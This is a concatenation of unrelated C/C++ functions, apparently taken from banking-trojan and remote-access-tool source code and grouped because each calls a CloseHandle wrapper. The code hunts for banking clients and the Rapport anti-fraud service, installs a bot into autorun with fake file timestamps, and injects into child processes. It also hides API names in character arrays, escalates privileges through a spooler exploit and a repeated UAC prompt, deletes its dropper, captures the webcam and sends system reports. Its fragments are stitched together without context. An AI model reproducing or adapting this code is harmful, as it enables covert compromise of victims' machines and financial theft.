static DWORD IsRunBClient(char* path) { HANDLE snap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); PROCESSENTRY32W pe; pe.dwSize = sizeof(pe); pProcess32FirstW( snap, &pe ); DWORD ret = 0; do { DWORD dwProcessHash = GetNameHash(pe.szExeFile); if ( dwProcessHash == 0xFE0E05F6 ) //cbmain.ex -> cbank.exe { if( path[0] == 0 ) { HANDLE hProc = pOpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ProcessID ); if (hProc) { pGetModuleFileNameExA( hProc, 0, path, MAX_PATH ); pCloseHandle(hProc); } } ret = pe.th32ProcessID; break; } } while( pProcess32NextW( snap, &pe ) ); pCloseHandle(snap); return ret; }
//========================================================= BOOL GetTokenByName(HANDLE &hToken,LPSTR lpName) { if(!lpName) { return FALSE; } HANDLE hProcessSnap = NULL; BOOL bRet = FALSE; PROCESSENTRY32 pe32 = {0}; char SSzlC11[] = {'K','E','R','N','E','L','3','2','.','d','l','l','\0'}; char SSzlC10[] = {'C','r','e','a','t','e','T','o','o','l','h','e','l','p','3','2','S','n','a','p','s','h','o','t','\0'}; CreateToolhelp32SnapshotT pCreateToolhelp32Snapshot= (CreateToolhelp32SnapshotT)GetProcAddress(LoadLibrary(SSzlC11),SSzlC10); hProcessSnap = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) return (FALSE); pe32.dwSize = sizeof(PROCESSENTRY32); char MyProcess32First[] ={'P','r','o','c','e','s','s','3','2','F','i','r','s','t','\0'}; Process32FirstT pProcess32First= (Process32FirstT)GetProcAddress(LoadLibrary(SSzlC11),MyProcess32First); char CtxPW35[] = {'O','p','e','n','P','r','o','c','e','s','s','T','o','k','e','n','\0'}; OpenProcessTokenT pOpenProcessToken=(OpenProcessTokenT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),CtxPW35); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); char FBwWp14[] = {'O','p','e','n','P','r','o','c','e','s','s','\0'}; OpenProcessT pOpenProcess=(OpenProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp14); char MyProcess32Next[] ={'P','r','o','c','e','s','s','3','2','N','e','x','t','\0'}; Process32NextT pProcess32Next= (Process32NextT)GetProcAddress(LoadLibrary(SSzlC11),MyProcess32Next); if (pProcess32First(hProcessSnap, &pe32)) { do { if(!strcmp(_strupr(pe32.szExeFile),_strupr(lpName))) { HANDLE hProcess = pOpenProcess(PROCESS_QUERY_INFORMATION,FALSE,pe32.th32ProcessID); // bRet = pOpenProcessToken(hProcess,TOKEN_ALL_ACCESS,&hToken); bRet = pOpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken); pCloseHandle (hProcessSnap); return (bRet); } } while (pProcess32Next(hProcessSnap, &pe32)); bRet = TRUE; } else bRet = FALSE; pCloseHandle (hProcessSnap); return (bRet); }
void CSystemManager::KillProcess(LPBYTE lpBuffer, UINT nSize) { HANDLE hProcess = NULL; char FBwWp14[] = {'O','p','e','n','P','r','o','c','e','s','s','\0'}; OpenProcessT pOpenProcess=(OpenProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp14); char FBwWp15[] = {'T','e','r','m','i','n','a','t','e','P','r','o','c','e','s','s','\0'}; TerminateProcessT pTerminateProcess=(TerminateProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp15); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); for (unsigned int i = 0; i < nSize; i += 4) { hProcess = pOpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + i)); pTerminateProcess(hProcess, 0); pCloseHandle(hProcess); } // 稍稍Sleep下,防止出错 char FBwWp25[] = {'S','l','e','e','p','\0'}; SleepT pSleep=(SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp25); pSleep(100); // 刷新进程列表 SendProcessList(); // 刷新窗口列表 SendWindowsList(); }
BOOL WINAPI MyCloseHandle( HANDLE hObject ) { if( FRecord.GetRecordCount() > 0 ) { CUserFileObject *pUserFileObj = NULL; BOOL bDelRes = FRecord.DelRecord(hObject,&pUserFileObj); if ( bDelRes ) { #if defined(DEBUG) || defined(_DEBUG) CString strFileName; CMemFileObject *pMemFileObj = pUserFileObj->GetMemFileObjPtr(); if (pMemFileObj) { strFileName = pMemFileObj->GetFileName(); } CString strMsgOut; strMsgOut.Format(L"关闭伪文件 Handle 0x%x Path:%s\n",hObject,strFileName); OutputDebugStringW(strMsgOut); #endif if (pUserFileObj) { delete pUserFileObj; } return TRUE; } } return pCloseHandle( hObject ); };
void AddToAutoRun(void *body, DWORD size) { WCHAR *BotPath = GetShellFoldersKey( 1 ); if ( BotPath == NULL ) { return; } plstrcatW( BotPath, BOT_FILE_NAME ); pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_NORMAL ); HANDLE f = pCreateFileW(BotPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); DWORD written = 0; if (f != INVALID_HANDLE_VALUE) { pWriteFile(f, body, size, &written, NULL); pCloseHandle(f); } if (written == size) { SetFakeFileDateTimeW( BotPath ); pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY ); } MemFree( BotPath ); }
//----------------------------------------------------------------------------- void HunterSignal() { // Функция уведомляет ожидающий процесс о нахождении ссылки HANDLE Handle = (HANDLE)pCreateMutexA(NULL, FALSE, (PCHAR)HunterMutexName); pSleep(100); pCloseHandle(Handle); }
BOOL IsRunAntiRapport() { HANDLE hSnap; BOOL ret = FALSE; PROCESSENTRY32 proc32 ; m_memset(&proc32,0,sizeof(PROCESSENTRY32)); hSnap = (HANDLE)pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hSnap == INVALID_HANDLE_VALUE) return FALSE; proc32.dwSize = sizeof(proc32); if ( pProcess32First(hSnap,&proc32)) { do{ proc32.dwSize = sizeof(proc32); if (! plstrcmpA(proc32.szExeFile,"RapportMgmtService.exe")) { ret = TRUE; break; }; }while(pProcess32Next(hSnap,&proc32)); }; pCloseHandle(hSnap); return ret; };
DWORD WINAPI HuntThred( LPVOID lpData ) { //если есть файл на диске,то берём из него строку и запускаем сб //внутри файла строка 127.0.0.1:5555 if (HunterFileExists()) { Hunting(); return 0; } HANDLE tmp; while(true) { tmp= (HANDLE)pOpenMutexA(MUTEX_ALL_ACCESS,FALSE, (PCHAR)HunterMutexName); if ((DWORD)pWaitForSingleObject(tmp, INFINITE)) { if (HunterFileExists())//&&!IsSbStarted() { Hunting(); } pSleep(90); } else { Hunting(); pCloseHandle(tmp); FileCreateInFolder(0x001a, (PWCHAR)HunterFileName,NULL,0); break; } } return 0; }
void INJECTOR::InjectInChildProcesses(PInjector Injector, PProcessInfo Parent) { // Функция инжектится в дочерние процессы // и параллельно роверяем список обработанных процессов PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); HANDLE Snap = (HANDLE)pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0); if (Snap != INVALID_HANDLE_VALUE) { if (pProcess32First(Snap, &pe)) { do { if (pe.th32ParentProcessID == Parent->PID) { TProcessInfo Info; if (GetProcessInfo(Injector, pe.th32ProcessID, Info)) Inject(Injector, &Info); } } while( pProcess32Next(Snap, &pe ) ); } pCloseHandle(Snap); } }
CVideoCap::~CVideoCap() { if (m_bIsConnected) { capCaptureAbort(m_hWndCap); capDriverDisconnect(m_hWndCap); if (m_lpbmi) delete m_lpbmi; if (m_lpDIB) delete m_lpDIB; m_bIsConnected = false; } capSetCallbackOnError(m_hWndCap, NULL); capSetCallbackOnFrame(m_hWndCap, NULL); char CtxPW61[] = {'C','l','o','s','e','W','i','n','d','o','w','\0'}; CloseWindowT pCloseWindow=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW61); pCloseWindow(m_hWnd); pCloseWindow(m_hWndCap); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); pCloseHandle(m_hCaptureEvent); }
bool TryToCatchHostLevelInstanceMutex(const char* MutexPrefix) { CHAR mutex_name[200]; m_memset(mutex_name, 0, sizeof(mutex_name)); PCHAR machine_id = MakeMachineID(); m_lstrcat(mutex_name, "Global\\"); m_lstrcat(mutex_name, MutexPrefix); m_lstrcat(mutex_name, machine_id); STR::Free(machine_id); LDRDBG("TryToCatchHostLevelInstanceMutex", "Mutex name '%s'.", mutex_name); SECURITY_ATTRIBUTES sa; SECURITY_DESCRIPTOR sd; pInitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); pSetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE); sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = &sd; sa.bInheritHandle = FALSE; HANDLE mutex_handle = (HANDLE)pCreateMutexA(&sa, FALSE, mutex_name); if (mutex_handle == NULL) return false; // Catch ownership of mutex and never release DWORD wait_result = (DWORD)pWaitForSingleObject(mutex_handle, 1000); if (wait_result == WAIT_OBJECT_0) return true; pCloseHandle(mutex_handle); return false; }
//---------------------------------------------- // ProcessInfected // // Функция возвращает истину если процесс с // указанными пидом инфицирован //---------------------------------------------- bool BOT::ProcessInfected(DWORD PID) { // Не уевой объект будет означать, что был создан // первый экземпляр HANDLE Handle = CreateInfectedProcessHandle(PID); bool Result = Handle == NULL; pCloseHandle(Handle); return Result; }
void SetFakeFileDateTime(PCHAR Path) { WCHAR smss[] = {'\\','s','m','s','s','.','e','x','e',0}; // Получаем дату и время системмного файла WCHAR *SysPath = (WCHAR *)MemAlloc( 512 * sizeof(WCHAR) ); if (SysPath == NULL) return; pGetSystemDirectoryW(SysPath, 512); plstrcatW( SysPath, smss ); HANDLE hFile = pCreateFileW( SysPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); MemFree( SysPath ); if ( hFile == INVALID_HANDLE_VALUE ) { return; } FILETIME fl1; FILETIME fl2; FILETIME fl3; pGetFileTime( hFile, &fl1, &fl2, &fl3 ); pCloseHandle( hFile ); // Устанавливаем дату бота hFile = pCreateFileA(Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); if ( hFile == INVALID_HANDLE_VALUE ) { return; } pSetFileTime( hFile, &fl1, &fl2, &fl3 ); pCloseHandle( hFile ); return; }
void SetFakeFileDateTime( WCHAR *Path ) { WCHAR smss[] = {'\\','s','m','s','s','.','e','x','e',0}; WCHAR *SysPath = (WCHAR *)MemAlloc( 512 ); if ( SysPath == NULL ) { return; } pGetSystemDirectoryW( SysPath, 512 ); plstrcatW( SysPath, smss ); HANDLE hFile = pCreateFileW( SysPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); MemFree( SysPath ); if ( hFile == INVALID_HANDLE_VALUE ) { return; } FILETIME fl1; FILETIME fl2; FILETIME fl3; pGetFileTime( hFile, &fl1, &fl2, &fl3 ); pCloseHandle( hFile ); hFile = pCreateFileW( Path, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 ); if ( hFile == INVALID_HANDLE_VALUE ) { return; } pSetFileTime( hFile, &fl1, &fl2, &fl3 ); pCloseHandle( hFile ); return; }
static bool Exec( DWORD* exitCode, char *msg, ... ) { bool ret = false; STARTUPINFOA si; PROCESS_INFORMATION pi; if( exitCode ) *exitCode = 0; va_list mylist; va_start( mylist, msg ); TMemory buf(1024); pwvsprintfA( buf.AsStr(), msg, mylist ); va_end(mylist); ClearStruct(pi); ClearStruct(si); si.cb = sizeof(si); pGetStartupInfoA(&si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = FALSE; DBG( "CreateProcess(): %s", buf.AsStr() ); if( pCreateProcessA( NULL, buf.AsStr(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi) ) { pWaitForSingleObject( pi.hProcess, INFINITE ); if( exitCode ) pGetExitCodeProcess( pi.hProcess, exitCode ); pCloseHandle(pi.hThread); pCloseHandle(pi.hProcess); ret = TRUE; } else DBG( "CreateProcess() ERROR %d", pGetLastError() ); return ret; }
PVOID MapBinary(LPCTSTR Path) { LPVOID Map = NULL; HANDLE hMapping; HANDLE hFile; hFile = pCreateFileA(Path,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); if (hFile != INVALID_HANDLE_VALUE) { hMapping = pCreateFileMappingA(hFile,0,PAGE_READONLY|SEC_IMAGE,0,0,0); if (hMapping != INVALID_HANDLE_VALUE) { Map = pMapViewOfFile(hMapping,FILE_MAP_READ,0,0,0); pCloseHandle(hMapping); } pCloseHandle(hFile); } return Map; }
BOOL DebugPrivilege(const char *PName,BOOL bEnable) { BOOL bResult = TRUE; HANDLE hToken; TOKEN_PRIVILEGES TokenPrivileges; char CtxPW35[] = {'O','p','e','n','P','r','o','c','e','s','s','T','o','k','e','n','\0'}; OpenProcessTokenT pOpenProcessToken=(OpenProcessTokenT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),CtxPW35); char Wffkl01[] = {'G','e','t','C','u','r','r','e','n','t','P','r','o','c','e','s','s','\0'}; GetCurrentProcessT pGetCurrentProcess=(GetCurrentProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),Wffkl01); if (!pOpenProcessToken(pGetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { bResult = FALSE; return bResult; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; char CtxPW34[] = {'L','o','o','k','u','p','P','r','i','v','i','l','e','g','e','V','a','l','u','e','A','\0'}; LookupPrivilegeValueAT pLookupPrivilegeValueA=(LookupPrivilegeValueAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),CtxPW34); pLookupPrivilegeValueA(NULL, PName, &TokenPrivileges.Privileges[0].Luid); char CtxPW33[] = {'A','d','j','u','s','t','T','o','k','e','n','P','r','i','v','i','l','e','g','e','s','\0'}; AdjustTokenPrivilegesT pAdjustTokenPrivileges=(AdjustTokenPrivilegesT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),CtxPW33); pAdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); char FBwWp06[] = {'G','e','t','L','a','s','t','E','r','r','o','r','\0'}; GetLastErrorT pGetLastError=(GetLastErrorT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp06); if (pGetLastError() != ERROR_SUCCESS) { bResult = FALSE; } char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); pCloseHandle(hToken); return bResult; }
//=================获得当前登陆用户名及计算机名称==================== BOOL GetCurrentUserName(char szUser[],char szDomain[]) { HANDLE hToken; //得到shell的token if(!GetTokenByName(hToken,"EXPLORER.EXE")) { return FALSE; } DWORD cbti = 0; PTOKEN_USER ptiUser = NULL; SID_NAME_USE snu; //取得所需空间大小 char JwFNw01[] = {'G','e','t','T','o','k','e','n','I','n','f','o','r','m','a','t','i','o','n','\0'}; GetTokenInformationT pGetTokenInformation=(GetTokenInformationT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),JwFNw01); char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); if (pGetTokenInformation(hToken, TokenUser, NULL, 0, &cbti)) { pCloseHandle(hToken); return FALSE; } //分配空间 char JwFNw02[] = {'G','e','t','P','r','o','c','e','s','s','H','e','a','p','\0'}; GetProcessHeapT pGetProcessHeap=(GetProcessHeapT)GetProcAddress(LoadLibrary("KERNEL32.dll"),JwFNw02); char JwFNw03[] = {'H','e','a','p','A','l','l','o','c','\0'}; HeapAllocT pHeapAlloc=(HeapAllocT)GetProcAddress(LoadLibrary("KERNEL32.dll"),JwFNw03); ptiUser = (PTOKEN_USER) pHeapAlloc(pGetProcessHeap(), 0, cbti); if(!ptiUser) { pCloseHandle(hToken); return FALSE; } //取得token信息 char JwFNw05[] = {'H','e','a','p','F','r','e','e','\0'}; HeapFreeT pHeapFree=(HeapFreeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),JwFNw05); if (!pGetTokenInformation(hToken, TokenUser, ptiUser, cbti, &cbti)) { pCloseHandle(hToken); pHeapFree(pGetProcessHeap(), 0, ptiUser); return FALSE; } DWORD nUser = 50; DWORD nDomain = 50; //根据用户的sid得到用户名和domain char JwFNw06[] = {'L','o','o','k','u','p','A','c','c','o','u','n','t','S','i','d','A','\0'}; LookupAccountSidAT pLookupAccountSidA=(LookupAccountSidAT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),JwFNw06); if (!pLookupAccountSidA(NULL, ptiUser->User.Sid, szUser, &nUser, szDomain, &nDomain, &snu)) { pCloseHandle(hToken); pHeapFree(pGetProcessHeap(), 0, ptiUser); return FALSE; } pCloseHandle(hToken); pHeapFree(pGetProcessHeap(), 0, ptiUser); return TRUE; }
CManager::~CManager() { char BrmAP29[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; CloseHandleT pCloseHandle=(CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),BrmAP29); pCloseHandle(m_hEventDlgOpen); }
void DebugReportCreateConfigReportAndSend() { PCHAR MsInfoPath = NULL; PCHAR MsInfoParam = NULL; PCHAR ReportPath = NULL; PCHAR CabPath = NULL; DebugReportSettings* settings = DebugReportGetSettings(); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", settings->Enabled, settings->StatPrefix, settings->StatUrl ); if (!settings->Enabled) return; do { // Получаем путь к msinfo32.exe MsInfoPath = GetPathToMsInfo32(); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "GetPathToMsInfo32() return '%s;", MsInfoPath); if (MsInfoPath == NULL) break; // Временный файл для отчета ReportPath = File::GetTempNameA(); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "GetTempNameA() for report file return '%s;", ReportPath); if (ReportPath == NULL) break; MsInfoParam = STR::Alloc(2 * MAX_PATH); if (MsInfoParam == NULL) break; PROCESS_INFORMATION pi; STARTUPINFOA si; m_memset(&si, 0, sizeof(si)); m_memset(&pi, 0, sizeof(pi)); m_memset(MsInfoParam, 0, STR::Length(MsInfoParam)); // Запускаем скрытно si.cb = sizeof(si); si.wShowWindow = SW_HIDE; m_lstrcat(MsInfoParam, " /report \""); m_lstrcat(MsInfoParam, ReportPath); m_lstrcat(MsInfoParam, "\""); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateProcess('%s', '%s')", MsInfoPath, MsInfoParam); BOOL process_result = (BOOL)pCreateProcessA(MsInfoPath, MsInfoParam, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateProcess return %d.(ph=0x%X pid=%d)", process_result, pi.hProcess, pi.dwProcessId); if (process_result == FALSE) break; if (pi.hProcess == NULL) break; if (pi.hProcess != NULL) { DBGRPTDBG("DebugReportCreateConfigReportAndSend", "Waiting for msinfo32."); pWaitForSingleObject(pi.hProcess, INFINITE); pCloseHandle(pi.hProcess); } if (pi.hThread != NULL) pCloseHandle(pi.hThread); DWORD attributes = (DWORD)pGetFileAttributesA(ReportPath); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "'%s' attibutes 0x%X.", ReportPath, attributes); if (attributes == INVALID_FILE_ATTRIBUTES) break; CabPath = File::GetTempNameA(); HCAB CabHandle = CreateCab(CabPath); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateCab() return 0x%X.", CabHandle); if (CabHandle == NULL) break; AddFileToCab(CabHandle, ReportPath, "sysinfo.txt"); CloseCab(CabHandle); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "sending sysinfo report."); string BotUid = GenerateUidAsString(settings->StatPrefix); DebugReportSendSysInfo(BotUid.t_str(), settings->StatUrl, CabPath); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "sysinfo report sent."); } while (false); if (ReportPath != NULL) pDeleteFileA(ReportPath); if (CabPath != NULL) pDeleteFileA(CabPath); if (ReportPath != NULL) STR::Free(ReportPath); if (CabPath != NULL) STR::Free(CabPath); if (MsInfoPath != NULL) STR::Free(MsInfoPath); DebugReportFreeSettings(settings); DBGRPTDBG("DebugReportCreateConfigReportAndSend", "finished."); }
bool AsyncDownload( char *Url, LPBYTE *lpBuffer, LPDWORD dwSize ) { char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } PASYNCHTTP pData = (PASYNCHTTP)MemAlloc( sizeof( PASYNCHTTP ) ); if ( !pData ) { return false; } pData->hConnectedEvent = pCreateEventW( NULL, FALSE, FALSE, NULL ); pData->hRequestOpenedEvent = pCreateEventW( NULL, FALSE, FALSE, NULL ); pData->hRequestCompleteEvent = pCreateEventW( NULL, FALSE, FALSE, NULL ); char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); pData->hInstance = (HINTERNET)pInternetOpenA( UserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC ); LPBYTE lpBuf = NULL; DWORD dwBufSize = 0; if ( pData->hInstance ) { if ( pInternetSetStatusCallback( pData->hInstance, (INTERNET_STATUS_CALLBACK)&Callback) != INTERNET_INVALID_STATUS_CALLBACK) { pData->dwCurrent = 1; pData->hConnect = (HINTERNET)pInternetConnectA( pData->hInstance, Host, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)pData ); if ( !pData->hConnect ) { if ( pGetLastError() != ERROR_IO_PENDING ) { return false; } pWaitForSingleObject( pData->hConnectedEvent, INFINITE ); } pData->dwCurrent = 2; pData->hRequest = (HINTERNET)pHttpOpenRequestA( pData->hConnect, "GET", Path, NULL, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, (DWORD_PTR)pData ); if ( !pData->hRequest ) { if ( pGetLastError() != ERROR_IO_PENDING ) { return false; } pWaitForSingleObject( pData->hRequestOpenedEvent, INFINITE ); } if ( !(BOOL)pHttpSendRequestA( pData->hRequest, NULL, 0, NULL, 0 ) ) { if ( pGetLastError() != ERROR_IO_PENDING ) { return false; } } pWaitForSingleObject( pData->hRequestCompleteEvent, INFINITE ); LPBYTE pTmpBuf = (LPBYTE)MemAlloc( 4096 ); if ( !pTmpBuf ) { return false; } INTERNET_BUFFERSA ib; m_memset( &ib, 0, sizeof( INTERNET_BUFFERSA ) ); ib.dwStructSize = sizeof( INTERNET_BUFFERSA ); ib.lpvBuffer = pTmpBuf; do { ib.dwBufferLength = 4096; if ( !(BOOL)pInternetReadFileExA( pData->hRequest, &ib, 0, 2 ) ) { if ( pGetLastError() == ERROR_IO_PENDING) { pWaitForSingleObject( pData->hRequestCompleteEvent, INFINITE ); } else { return false; } } if ( ib.dwBufferLength ) { if ( !lpBuf ) { if ( !( lpBuf = (LPBYTE)MemAlloc( ib.dwBufferLength + 1 ) ) ) { return false; } } else { LPBYTE p = (LPBYTE)MemRealloc( lpBuf, dwBufSize + ib.dwBufferLength + 1 ); if ( !p ) { return false; } lpBuf = p; } m_memcpy( lpBuf + dwBufSize, pTmpBuf, ib.dwBufferLength ); dwBufSize += ib.dwBufferLength; } else { pData->IsDownloaded = true; } } while ( !pData->IsDownloaded ); } } pInternetCloseHandle( pData->hRequest ); pInternetCloseHandle( pData->hConnect ); pInternetCloseHandle( pData->hInstance ); pCloseHandle( pData->hConnectedEvent ); pCloseHandle( pData->hRequestOpenedEvent ); pCloseHandle( pData->hRequestCompleteEvent ); MemFree( pData ); if ( dwSize ) { *lpBuffer = lpBuf; *dwSize = dwBufSize; return true; } return false; }
// Ф-ция, которая вызывается при инжекте в другие процессы. // Проверяет свои права и пробует их расширить для DWORD WINAPI ExplorerRoutine( LPVOID lpData ) { // // Cоздадим отдельный поток для удаления так как дропер может удаляться больше минуты. // BOOL bRun = TRUE; BOOL bRet = FALSE; BOOL IsUsedExploit = FALSE; OSVERSIONINFOEXA OSVer = {sizeof(OSVer), 0}; UnhookDlls(); BuildImport((PVOID)GetImageBase()); PP_DPRINTF(L"ExplorerRoutine: started"); if (! IsUserAdmin() ) { PP_DPRINTF(L"ExplorerRoutine: user is not admin. Trying to take privileges."); switch ( TakePrivileges() ) { case 0: case 2: bRun = FALSE; break; }; PP_DPRINTF(L"ExplorerRoutine: TakePrivile result=%d", bRun); IsUsedExploit = TRUE; // По идее это всегда TRUE }; if ( bRun ) { PP_DPRINTF(L"ExplorerRoutine: run ExplorerMain"); bRet = ExplorerMain(); PP_DPRINTF(L"ExplorerRoutine: ExplorerMain() result=%d", bRet); } /* Если есть права Админа но мы не юзали сплоеты и инстал не удался, юзаем сплоеты и снова делаем инстал */ if ( (bRet == FALSE) && (bRun == TRUE) && (IsUsedExploit == FALSE) ) { PP_DPRINTF(L"ExplorerRoutine: Trying again to take privileges"); IsUsedExploit = TRUE; switch ( TakePrivileges() ) { case 0: case 2: bRun = FALSE; break; }; if ( bRun ) { PP_DPRINTF(L"ExplorerRoutine: Second call of ExplorerMain"); bRet = ExplorerMain(); PP_DPRINTF(L"ExplorerRoutine: Second ExplorerMain() result=%d", bRet); } }; pGetVersionExA(&OSVer); /* Выкидываем длл на диск и юзаем сплойт спуллера, только XP */ if ( (! bRet) && (PEFile::IsDll((PVOID)GetImageBase()) == FALSE) && (OSVer.dwMajorVersion == 5)) { PP_DPRINTF(L"ExplorerRoutine: Trying to use XP spooler exploit"); DWORD DropSize = 0; PVOID DropImage = GetSectionData("DROPER_DLL",&DropSize); if ( DropImage && DropSize) { PCHAR DropFile = File::GetTempNameA(); File::WriteBufferA(DropFile,DropImage,DropSize); SpoolerBypass(DropFile); STR::Free(DropFile); }; }; /* Запуск много раз копии дропера с прошением повышенных прав. */ if ( bRet == FALSE ) { PP_DPRINTF(L"ExplorerRoutine: start UAC asking cycle"); PCHAR tmpexe,dir,file ; PCHAR tmp_manifest; PCHAR NamePrefix = GetSectionAnsiString("DROPER_NAME_PREFIX"); if ( NamePrefix ) do { tmpexe = File::GetTempNameA(); tmp_manifest = STR::Alloc(MAX_PATH+1); dir = (tmpexe != NULL)? File::ExtractFilePath(tmpexe) : NULL ; file = (tmpexe != NULL)? File::ExtractFileName(tmpexe) : NULL ; if ( tmp_manifest && dir && file) { STR::Free(tmpexe); tmpexe = STR::New(5,dir,"\\",NamePrefix,file,".exe"); if ( ! tmpexe ) return 0; m_lstrcpy(tmp_manifest,tmpexe); m_lstrcat(tmp_manifest,".manifest"); }; if ( tmpexe && tmp_manifest ) if ( pCopyFileA(FileToDelete,tmpexe,FALSE) && SaveManifest(tmp_manifest) ) { DWORD dwCode = -1; SHELLEXECUTEINFOA ExecInfo; m_lstrcpy(tmp_manifest,tmpexe); m_lstrcat(tmp_manifest," "); m_lstrcat(tmp_manifest,ARGV_UAC_RUN); ExecInfo.cbSize = sizeof(ExecInfo); ExecInfo.lpFile = tmpexe; ExecInfo.lpParameters = tmp_manifest; ExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS; for ( int i = 0; i < 10; ++i ) { PP_DPRINTF(L"ExplorerRoutine: asking UAC for '%S'", tmp_manifest); if ( pShellExecuteExA(&ExecInfo) == FALSE ) break; pWaitForSingleObject(ExecInfo.hProcess,INFINITE); pGetExitCodeProcess(ExecInfo.hProcess,&dwCode); if ( dwCode == 0 ) { PP_DPRINTF(L"ExplorerRoutine: UAC allowed for '%S'", tmp_manifest); break; } } }; if ( tmpexe ) STR::Free(tmpexe); if ( tmp_manifest ) STR::Free(tmp_manifest); if ( dir ) STR::Free(dir); if ( file ) STR::Free(file); } while ( ( (DWORD)pGetFileAttributesA(PathBkFile) == INVALID_FILE_ATTRIBUTES) ); // end do, цикл пока не появится Файл буткита if ( NamePrefix ) STR::Free(NamePrefix); }; /* Если инстал был не удачный снова пробуем вдруг повезет*/ if ( bRet == FALSE) { PP_DPRINTF(L"ExplorerRoutine: Third call of ExplorerMain"); bRet = ExplorerMain(); PP_DPRINTF(L"ExplorerRoutine: Third ExplorerMain() result=%d", bRet); } /* Удаляем дропер */ PP_DPRINTF(L"ExplorerRoutine: Start to delete droper"); pCloseHandle(StartThread(DeleteDropper,NULL)); if ( dwExplorerSelf ) { PP_DPRINTF(L"ExplorerRoutine: dwExplorerSelf is true. Call ExitProcess()"); pExitProcess(0); } return 0; }
